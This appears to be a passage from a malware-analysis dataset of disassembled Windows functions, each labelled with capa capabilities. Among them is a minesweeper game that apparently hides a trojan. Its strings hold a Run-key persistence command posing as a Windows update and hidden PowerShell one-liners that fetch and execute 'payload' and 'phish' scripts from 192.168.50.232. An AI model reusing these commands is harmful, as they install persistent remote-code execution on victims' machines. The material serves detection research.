joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1404d5701
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
test r15d, edi
cmp esp, esp
mov qword [rax + 8], rbx
test cx, di
cmp bl, r14b
mov qword [rax + 0x10], rbp
jmp 0x1404d571c
mov qword [rax + 0x18], rsi
test ch, 0x51
cmp bx, r10w
clc
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
jmp 0x1404d5737
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor r14d, r14d
mov rbx, rax
test r14b, dl
test rax, rax
jmp 0x1404d574e
je 0x1404d58c5
mov rsi, rax
test r8w, r10w
jmp 0x1404d5760
cmp word [rax], r14w
jmp 0x1404d5769
je 0x1404d57ab
or rax, 0xffffffffffffffff
jmp 0x1404d5778
inc rax
clc
jmp 0x1404d5781
cmp word [rsi + rax*2], r14w
jmp 0x1404d578b
jne 0x1404d5778
lea rsi, [rsi + rax*2]
cmc
cmp esi, esi
add rsi, 2
cmp word [rsi], r14w
jmp 0x1404d57a5
jne 0x1404d576f
mov qword [rsp + 0x38], r14
sub rsi, rbx
ror r8, 0x79
shld r9d, edi, 0x37
setl r8b
mov qword [rsp + 0x30], r14
add rsi, 2
movzx r8w, spl
sar rsi, 1
mov r8, rbx
shr r9b, 0xd7
mov r9d, esi
cmp r10b, cl
jmp 0x1404d57e3
mov dword [rsp + 0x28], r14d
test r12b, 0x3f
sub edx, edx
mov qword [rsp + 0x20], r14
clc
sub ecx, ecx
jmp 0x1404d57fb
call fcn.1404c5cb9
movsxd rbp, eax
test eax, eax
jmp 0x1404d580a
je 0x1404d58c5
mov rcx, rbp
jmp 0x1404d5818
call fcn.1404c5bf6
mov rdi, rax
test r9b, 0xbe
test sp, bp
test rax, rax
je 0x1404d58a5
mov qword [rsp + 0x38], r14
movsxd r9, r12d
xadd r9b, r8b
rol r9d, cl
mov r9d, esi
bsf r8w, r12w
setno r8b
cmovge r8d, r15d
mov qword [rsp + 0x30], r14
add r8d, 0xc4f74fe
movzx r8d, r9w
mov r8, rbx
cmc
mov dword [rsp + 0x28], ebp
stc
xor edx, edx
test ax, 0x186f
xor ecx, ecx
mov qword [rsp + 0x20], rax
jmp 0x1404d587a
call fcn.1404c5cb9
test eax, eax
jmp 0x1404d5886
je 0x1404d58a5
mov rsi, rdi
movsx edi, r12w
jmp 0x1404d5898
mov rdi, r14
jmp 0x1404d58a0
jmp 0x1404d58b3
mov rsi, r14
movsxd rcx, r14d
movsx ecx, r8w
movzx rcx, di
mov rcx, rdi
jmp 0x1404d58bb
call fcn.1404c5b87
jmp 0x1404d58cb
mov rsi, r14
cmp spl, r15b
test rbx, rbx
jmp 0x1404d58d3
je 0x1404d58e7
mov rcx, rbx
jmp 0x1404d58e1
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x50]
rol r14b, cl
mov rax, rsi
cmp r12w, 0x4594
mov rsi, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x58]
sar r14, 0xf1
movzx rdi, dx
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
not r14b
cmovl r14, rcx
pop r14
jmp 0x1404d5921
ret
Function at 0x1404d5922
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
stc
test r8d, r14d
jmp 0x1404d5936
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
stc
test si, 0x1317
sub rsp, 0x20
jmp 0x1404d5950
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
sub esi, esi
bts bx, ax
sbb bx, di
mov rbx, rax
test rax, rax
jmp 0x1404d596a
je 0x1404d5a26
mov rbp, rax
cmp word [rax], si
jmp 0x1404d597b
je 0x1404d59b9
or rax, 0xffffffffffffffff
jmp 0x1404d598a
inc rax
jmp 0x1404d5992
cmp word [rbp + rax*2], si
jne 0x1404d598a
lea rbp, [rbp + rax*2]
jmp 0x1404d59a7
add rbp, 2
cmc
test ch, 0x39
cmp word [rbp], si
jne 0x1404d5981
sub rbp, rbx
cmovae ecx, edx
sub cl, r9b
movsx rcx, r12w
add rbp, 2
sub ecx, 0x535414a3
sar rbp, 1
btr cx, r12w
add rbp, rbp
mov rcx, rbp
jmp 0x1404d59e3
call fcn.1404c5bf6
mov rdi, rax
stc
test rax, rax
jmp 0x1404d59f4
je 0x1404d5a11
mov r8, rbp
mov rdx, rbx
mov rcx, rax
jmp 0x1404d5a08
call fcn.14049fd21
mov rsi, rdi
cmc
xor ecx, ecx
jmp 0x1404d5a18
call fcn.1404c5b87
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rbx, qword [rsp + 0x30]
btr edi, ebp
mov rax, rsi
or di, sp
ror si, cl
mov rsi, qword [rsp + 0x40]
rol bpl, cl
mov rbp, qword [rsp + 0x38]
add rsp, 0x20
movzx rdi, ax
pop rdi
jmp 0x1404d5a52
ret
Function at 0x1404d88d5
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
jmp 0x1404d8907
mov qword [rsp + 0x18], rbp
movzx ax, bpl
push rsi
movzx ax, r8b
cmovne ax, bp
push rdi
not ah
push r14
mov rax, 0x5dec2848
mov eax, 0x1450
jmp 0x1404d8931
call fcn.140444ea2
sub rsp, rax
bt r10w, si
btr r10d, 4
sub r10b, 0xe6
mov rax, qword [0x1400b7288]
neg bpl
shl r14b, cl
xor rax, rsp
sbb esi, r12d
test r13b, 0x4a
mov qword [rsp + 0x1440], rax
ror r10w, cl
or dil, sil
movsxd r10, edx
mov bp, sp
adc ax, r9w
mov rdi, rcx
shl dl, 0xa4
bt esi, r11d
mov rax, r10
and bpl, 0x4b
bsr rsi, rsi
btc ecx, r13d
mov ebp, r9d
and cl, r13b
shrd rdx, rbx, 0x67
sar cx, 0xa5
sar rax, 6
movsx edx, si
lea rcx, [0x1400ba940]
btc esi, 0x5b
setg sil
and r10d, 0x3f
movsx dx, r11b
sal r14b, 0x9f
rcr sil, 0xe
lea rbp, [rbp + r8]
dec si
adc si, si
setp r14b
mov rsi, r8
mov rax, qword [rcx + rax*8]
dec r14d
rol dx, cl
lea rdx, [r10 + r10*8]
test r8b, 0xea
mov r14, qword [rax + rdx*8 + 0x28]
xor eax, eax
stc
mov qword [rdi], rax
test sp, 0x516b
stc
mov dword [rdi + 8], eax
cmp r8, rbp
jmp 0x1404d8a06
jae 0x1404d8aec
lea rbx, [rsp + 0x40]
cmp rsi, rbp
jmp 0x1404d8a19
jae 0x1404d8a71
mov al, byte [rsi]
jmp 0x1404d8a26
inc rsi
jmp 0x1404d8a34
cmp al, 0xa
jne 0x1404d8a4f
inc dword [rdi + 8]
mov byte [rbx], 0xd
jmp 0x1404d8a47
inc rbx
jmp 0x1404d8a4f
mov byte [rbx], al
mov rax, 0x69782cb1
inc rbx
lea rax, [rsp + 0x143f]
cmp rbx, rax
jmp 0x1404d8a6b
jb 0x1404d8a11
and qword [rsp + 0x20], 0
adc cl, 0xe6
lea rax, [rsp + 0x40]
cmc
bt r8, 0xdd
shl r8w, cl
sub ebx, eax
movsx r8w, dl
lea r9, [rsp + 0x30]
mov r8d, ebx
cwd
lea rdx, [rsp + 0x40]
mov rcx, r14
jmp 0x1404d8aa7
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1404d8ae4
mov eax, dword [rsp + 0x30]
test dil, r13b
stc
add dword [rdi + 4], eax
stc
jmp 0x1404d8ac9
cmp eax, ebx
jb 0x1404d8aec
cmp rsi, rbp
jmp 0x1404d8ad9
jb 0x1404d8a0c
jmp 0x1404d8aec
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi], eax
mov rax, rdi
movsx cx, bh
mov rcx, qword [rsp + 0x1440]
clc
test ah, 0xeb
xor rcx, rsp
jmp 0x1404d8b07
call fcn.14049c123
lea r11, [rsp + 0x1450]
setne r14b
cmovg ebx, eax
movzx bp, r13b
mov rbx, qword [r11 + 0x20]
setbe dil
mov rbp, qword [r11 + 0x30]
cmovno r14, rdi
movsxd rsi, ebp
mov rsp, r11
pop r14
movsxd rsi, r8d
pop rdi
pop rsi
jmp 0x1404d8b42
ret
Function at 0x1404d8b43
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
movsx rax, bp
mov qword [rsp + 0x18], rbp
movsx eax, r9w
jmp 0x1404d8b70
push rsi
mov rax, 0x58884aba
cdqe
bswap ax
push rdi
cwde
movsx rax, bx
push r14
mov eax, 0x1450
jmp 0x1404d8b8f
call fcn.140444ea2
sub rsp, rax
shld rsi, rsp, 0xff
mov rax, qword [0x1400b7288]
xor rax, rsp
shl dil, cl
xadd di, r14w
mov qword [rsp + 0x1440], rax
test r15, r11
movsxd r10, edx
cmc
cdq
mov rdi, rcx
or dx, r12w
mov rax, r10
movzx dx, r14b
mov ebp, r9d
bts ecx, edx
btr si, r11w
sar rax, 6
ror sil, cl
lea rcx, [0x1400ba940]
and r10d, 0x3f
add rbp, r8
or si, 0x51b4
mov rsi, r8
sar r14b, cl
btc r14d, edx
and dh, 0x61
mov rax, qword [rcx + rax*8]
lea rdx, [r10 + r10*8]
mov r14, qword [rax + rdx*8 + 0x28]
xor eax, eax
stc
mov qword [rdi], rax
cmp r11b, 0x6e
cmp r8b, bl
jmp 0x1404d8c1e
mov dword [rdi + 8], eax
clc
cmp r10, 0x19097d28
cmp r8, rbp
jmp 0x1404d8c31
jae 0x1404d8d56
lea rbx, [rsp + 0x40]
test r9w, 0xbc
cmp rsi, rbp
jmp 0x1404d8c4a
jae 0x1404d8cbd
movzx eax, word [rsi]
cmp bl, cl
add rsi, 2
cmp spl, 0xba
cmp ax, 0xa
jmp 0x1404d8c66
jne 0x1404d8c97
add dword [rdi + 8], 2
bt cx, 0x53
xor cx, 0x2ee2
add cx, bx
mov ecx, 0xd
clc
mov word [rbx], cx
cmp r12d, 0x631d18c0
add rbx, 2
cmc
test bx, 0x4c08
mov word [rbx], ax
adc ah, dh
add rbx, 2
test dil, 0xb1
test bl, sil
lea rax, [rsp + 0x143e]
cmp rbx, rax
jmp 0x1404d8cb7
jb 0x1404d8c42
and qword [rsp + 0x20], 0
movsxd r8, ebx
shld cx, r11w, 0x23
rol rcx, cl
lea rax, [rsp + 0x40]
and ecx, r8d
sub rbx, rax
stc
bts rdx, rdi
test bpl, sil
lea r9, [rsp + 0x30]
sar rbx, 1
rcl edx, cl
bts r8w, si
lea rdx, [rsp + 0x40]
cmp r14b, 0xbf
add ebx, ebx
not cl
movsxd r8, ecx
mov rcx, r14
mov r8d, ebx
jmp 0x1404d8d0c
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1404d8d42
mov eax, dword [rsp + 0x30]
clc
add dword [rdi + 4], eax
cmp eax, ebx
jmp 0x1404d8d29
jb 0x1404d8d56
cmp rsi, rbp
jmp 0x1404d8d37
jb 0x1404d8c37
jmp 0x1404d8d56
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rdi], eax
rcr cx, 0x17
bt cx, r14w
movzx eax, sp
mov rax, rdi
setno cl
and cx, 0x5d4b
mov rcx, qword [rsp + 0x1440]
cmp r13b, 0xc2
test r9, r12
xor rcx, rsp
call fcn.14049c123
lea r11, [rsp + 0x1450]
movsx rdi, di
mov bh, 0xad
movsx r14d, bx
mov rbx, qword [r11 + 0x20]
movsxd r14, r8d
movzx rsi, di
mov rbp, qword [r11 + 0x30]
mov rsp, r11
movzx r14, sp
bswap rsi
movsx r14w, r12b
pop r14
mov dil, 0xbe
bswap di
pop rdi
mov sil, 0x83
setno sil
pop rsi
jmp 0x1404d8dbf
ret
Function at 0x1404dc63d
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub r8b, 0x9a
stc
sub rsp, 0x20
jmp 0x1404dc650
mov rbx, rcx
lea r9, [0x1400c8e90]
rcl dl, 0x98
xor ecx, ecx
jmp 0x1404dc664
lea r8, [0x1400c8e88]
cmovns dx, di
lea rdx, [0x1400cfb70]
jmp 0x1404dc67b
call fcn.1404dc933
test rax, rax
je 0x1404dc6a8
mov rcx, rbx
adc bx, 0x58ad
shrd bx, cx, 0x77
add rsp, 0x20
movzx rbx, r12w
xchg ebx, ebx
pop rbx
jmp qword [case.0x1400f3ca8.0]
add rsp, 0x20
bswap bx
pop rbx
jmp 0x1404dc6b5
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x1404dc7cb
Capabilities:
Set thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
clc
push rdi
rol dil, cl
neg r9d
cmp r11b, r12b
sub rsp, 0x20
not dil
mov rbx, rdx
movzx r8, r11w
movsx r9w, r15b
lea r9, [0x1400c8ea8]
bswap di
mov edi, ecx
lea rdx, [0x1400cf748]
movzx r8, si
xchg r8d, r8d
mov ecx, 3
movsx r8, r10w
mov r8w, 0x4cdc
cmovno r8w, r10w
lea r8, [0x1400c8ea0]
jmp 0x1404dc827
call fcn.1404dc933
mov rdx, rbx
xor cl, r12b
rcr ch, cl
test bl, r11b
mov ecx, edi
cmp bh, 0x7e
clc
cmc
test rax, rax
jmp 0x1404dc846
je 0x1404dc857
call qword [case.0x1400f3ca8.0]
jmp 0x1404dc85d
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
jmp 0x1404dc86c
ret
Function at 0x1404e0953
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbx
sub rsp, 0x30
sub eax, eax
sal r10w, 0xb3
mov r10d, 0x674c5c88
add r10, r10
mov r10d, ecx
cmc
test r8b, 0x6d
test rdx, rdx
jmp 0x1404e0979
jne 0x1404e09a6
call fcn.1404b1cac
mov ebx, 0x16
jmp 0x1404e098e
mov dword [rax], ebx
call fcn.1404b290a
mov eax, ebx
add rsp, 0x30
movzx rbx, sp
pop rbx
jmp 0x1404e09a5
ret
test r8, r8
jmp 0x1404e09ae
je 0x1404e097f
movzx ecx, byte [rsp + 0x60]
jmp 0x1404e09be
mov word [rdx], ax
lea rax, [rcx + 1]
cmp r8, rax
jmp 0x1404e09cd
ja 0x1404e09e7
call fcn.1404b1cac
mov ebx, 0x22
jmp 0x1404e09e2
jmp 0x1404e098e
lea eax, [r9 - 2]
sar bh, cl
movsx ebx, di
mov ebx, 0x22
cmp r8b, r14b
test r11b, 0xfd
cmp eax, ebx
ja 0x1404e097f
mov byte [rsp + 0x60], cl
xadd rbx, rcx
mov ecx, r10d
shld bx, r14w, 0x74
bt bx, r15w
cmp rdx, 0x160a1438
add rsp, 0x30
pop rbx
jmp 0x1404e0a2b
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
sub r11b, 0xff
shrd bp, r11w, 0xaf
mov qword [rsp + 0x18], rsi
shr bpl, 0x4b
push rdi
ror bpl, cl
add di, di
bts r10, rdx
push r14
neg r11w
movzx di, bpl
xchg r11b, r10b
push r15
sub rsp, 0x20
jmp 0x1404e0a70
sub r15d, r15d
bsf rbx, r10
mov ebp, r9d
bt rbx, 0x56
sar r10b, cl
or r10w, 0x3af6
mov rdi, r8
add r11b, r8b
mov r11, rdx
clc
mov r10, rdx
btc rbx, rdi
shr bh, 9
mov ebx, r15d
cmp byte [rsp + 0x60], r15b
jmp 0x1404e0aa9
je 0x1404e0ae4
lea eax, [r15 + 0x2d]
xadd bl, r10b
shr r10w, 0xd3
xor ebx, r11d
neg ecx
mov word [rdx], ax
jmp 0x1404e0ad1
lea ebx, [rax - 0x2c]
bts ax, r13w
rol r9w, 0x61
cmc
lea r10, [rdx + 2]
stc
mov r8, r10
sub edx, edx
clc
lea rsi, [r10 + 2]
btr r14w, 0xd9
mov eax, ecx
add ch, 0xd3
mov r9, r10
bswap r14d
div ebp
mov ecx, eax
cmp edx, 9
movzx r14w, r14b
mov eax, 0x57
lea r14d, [rax - 0x27]
jmp 0x1404e0b19
cmovbe ax, r14w
jmp 0x1404e0b23
inc rbx
test r12w, 0x497e
add ax, dx
cmc
mov word [r10], ax
test r8, rbx
clc
cmp r8d, r11d
test ecx, ecx
jmp 0x1404e0b42
je 0x1404e0b5a
mov r10, rsi
clc
cmp rbx, rdi
jmp 0x1404e0b54
jb 0x1404e0ae7
cmp rbx, rdi
jmp 0x1404e0b62
jb 0x1404e0b93
mov word [r11], r15w
call fcn.1404b1cac
mov ebx, 0x22
jmp 0x1404e0b7b
mov dword [rax], ebx
jmp 0x1404e0b82
call fcn.1404b290a
mov eax, ebx
jmp 0x1404e0b8e
jmp 0x1404e0bc7
mov word [rsi], r15w
movzx eax, word [r8]
movzx ecx, word [r9]
mov word [r9], ax
jmp 0x1404e0ba8
sub r9, 2
clc
mov word [r8], cx
clc
cmc
add r8, 2
cmp r8, r9
jmp 0x1404e0bbf
jb 0x1404e0b97
xor eax, eax
mov rbx, qword [rsp + 0x40]
jmp 0x1404e0bd5
mov rbp, qword [rsp + 0x48]
btc di, 0x94
mov rsi, qword [rsp + 0x50]
bsr edi, r9d
add rsp, 0x20
movzx r14, dx
mov r15b, r8b
movsx r14d, r14w
pop r15
pop r14
mov dil, al
movsx di, dl
pop rdi
jmp 0x1404e0c08
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140011e80]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140011e90]
mov dword [rax], 1
mov rax, qword [0x140011ea0]
mov dword [rax], 1
mov rax, qword [0x140011e20]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x140011e70]
mov dword [0x140015020], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x140011f60]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x140011f40]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140011db0]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x14000166e
Capabilities:
Execute command

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, section..rdata
mov rcx, rax
call sym.system
lea rax, [0x140011004]
mov rcx, rax
call sym.printf
mov dword [rbp - 4], 0
jmp 0x1400016b5
mov eax, dword [rbp - 4]
mov edx, eax
lea rax, [0x140011007]
mov rcx, rax
call sym.printf
add dword [rbp - 4], 1
cmp dword [rbp - 4], 7
jle 0x14000169d
lea rax, [0x14001100b]
mov rcx, rax
call sym.printf
mov dword [rbp - 8], 0
jmp 0x140001777
mov eax, dword [rbp - 8]
mov edx, eax
lea rax, [0x14001100d]
mov rcx, rax
call sym.printf
mov dword [rbp - 0xc], 0
jmp 0x14000175e
mov eax, dword [rbp - 0xc]
cdqe
mov edx, dword [rbp - 8]
movsxd rdx, edx
shl rdx, 3
add rdx, rax
lea rax, [0x140015080]
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x14000174b
mov eax, dword [rbp - 0xc]
cdqe
mov edx, dword [rbp - 8]
movsxd rdx, edx
shl rdx, 3
add rdx, rax
lea rax, [0x140015040]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov edx, eax
lea rax, [0x140011011]
mov rcx, rax
call sym.printf
jmp 0x14000175a
lea rax, [0x140011015]
mov rcx, rax
call sym.printf
add dword [rbp - 0xc], 1
cmp dword [rbp - 0xc], 7
jle 0x1400016f3
lea rax, [0x14001100b]
mov rcx, rax
call sym.printf
add dword [rbp - 8], 1
cmp dword [rbp - 8], 7
jle 0x1400016d6
nop
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400019c1
Capabilities:
Execute command
Persist via run registry key
Set registry value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rax, str.reg_add__HKCUSOFTWAREMicrosoftWindowsCurrentVersionRun___v__Windows_Update_KB98276381___t_REG_SZ__d___C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe___command__powershell__NoP__NonI__w_h__ep_Bypass_irm_http:__192.168.50.232_payload__iex____f__nul
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.system
nop
add rsp, 0x30
pop rbp
ret
Function at 0x1400019e7
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
call sym.addRegistryEntry
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__NoP__NonI__w_h__ep_Bypass_irm_http:__192.168.50.232_payload__iex
lea r8, str.powershell.exe
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str.powershell__NoP__NonI__w_h__ep_Bypass_irm_http:__192.168.50.232_phish__iex
lea r8, str.powershell.exe
lea rax, str.open
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret

Function at 0x140001a71
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call dbg.__main
call sym.initializeGrid
call sym.placeMines
mov dword [rbp - 4], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.runPowerShell]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
mov qword [rbp - 0x18], rax
jmp 0x140001bf5
call sym.printGrid
lea rax, str.Enter_row_and_column__e.g.__2_3_:
mov rcx, rax
call sym.printf
lea rdx, [rbp - 0x24]
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rax
lea rax, str._d__d
mov rcx, rax
call sym.scanf
mov eax, dword [rbp - 0x20]
test eax, eax
js 0x140001b18
mov eax, dword [rbp - 0x20]
cmp eax, 7
jg 0x140001b18
mov eax, dword [rbp - 0x24]
test eax, eax
js 0x140001b18
mov eax, dword [rbp - 0x24]
cmp eax, 7
jle 0x140001b2c
lea rax, str.Invalid_input._Please_try_again._n
mov rcx, rax
call sym.printf
jmp 0x140001bf5
mov edx, dword [rbp - 0x20]
mov eax, dword [rbp - 0x24]
cdqe
movsxd rdx, edx
shl rdx, 3
add rdx, rax
lea rax, [0x140015040]
add rax, rdx
movzx eax, byte [rax]
cmp al, 0x2a
jne 0x140001b6a
mov dword [rbp - 4], 1
lea rax, str.Game_over__You_hit_a_mine._n
mov rcx, rax
call sym.printf
jmp 0x140001bf5
mov edx, dword [rbp - 0x24]
mov eax, dword [rbp - 0x20]
mov ecx, eax
call sym.revealCell
mov dword [rbp - 0x1c], 0x36
mov dword [rbp - 8], 0
mov dword [rbp - 0xc], 0
jmp 0x140001bcc
mov dword [rbp - 0x10], 0
jmp 0x140001bc2
mov eax, dword [rbp - 0x10]
cdqe
mov edx, dword [rbp - 0xc]
movsxd rdx, edx
shl rdx, 3
add rdx, rax
lea rax, [0x140015080]
add rax, rdx
movzx eax, byte [rax]
test al, al
je 0x140001bbe
add dword [rbp - 8], 1
add dword [rbp - 0x10], 1
cmp dword [rbp - 0x10], 7
jle 0x140001b97
add dword [rbp - 0xc], 1
cmp dword [rbp - 0xc], 7
jle 0x140001b8e
mov eax, dword [rbp - 8]
cmp eax, dword [rbp - 0x1c]
jne 0x140001bf5
call sym.printGrid
mov dword [rbp - 4], 1
lea rax, str.Congratulations__You_win__n
mov rcx, rax
call sym.printf
cmp dword [rbp - 4], 0
je 0x140001ac9
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x140001ee0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001f50
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140015134]
mov rbx, rcx
test esi, esi
jle 0x140002080
mov rax, qword [0x140015138]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001f9b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140002025
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001f80
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x1400020a2
mov rax, qword [0x140015138]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140015138]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140002087
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x14000201e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140002030
add dword [0x140015134], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140015138]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x14000201e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor esi, esi
jmp 0x140001fa8
mov rax, qword [0x140015138]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002610
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400151a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140015180]
test rbx, rbx
je 0x14000266c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x140002663
test rsi, rsi
je 0x140002663
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002648
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002880
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002898
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x1400028a0
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x1400028b0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400028fd
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400028f4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400028ff
add rax, 0x28
cmp rax, r9
jne 0x1400028e0
xor eax, eax
ret

Function at 0x140002900
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002990
mov rdx, qword [0x140011e20]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000297e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000297e
